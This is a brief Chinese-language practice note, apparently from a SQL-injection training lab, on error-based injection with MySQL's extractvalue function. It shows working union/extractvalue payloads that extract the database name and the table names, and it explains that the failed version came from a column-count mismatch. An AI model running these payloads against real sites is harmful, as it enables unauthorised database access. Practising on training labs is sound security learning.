extractvalue报错注入
?id=1' union select 1 or extractvalue(1,concat(0x7e,(select database()),0x7e))--+
使用上述语句查询数据库名时,返回正确
?id=1' union select 1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
将database()处换为查询表名的语句,出先以下错误
分析:是由于union联合查询语句前后查询列数不一致造成
解决方法:将语句换成以下
?id=1' union select 1,2, extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+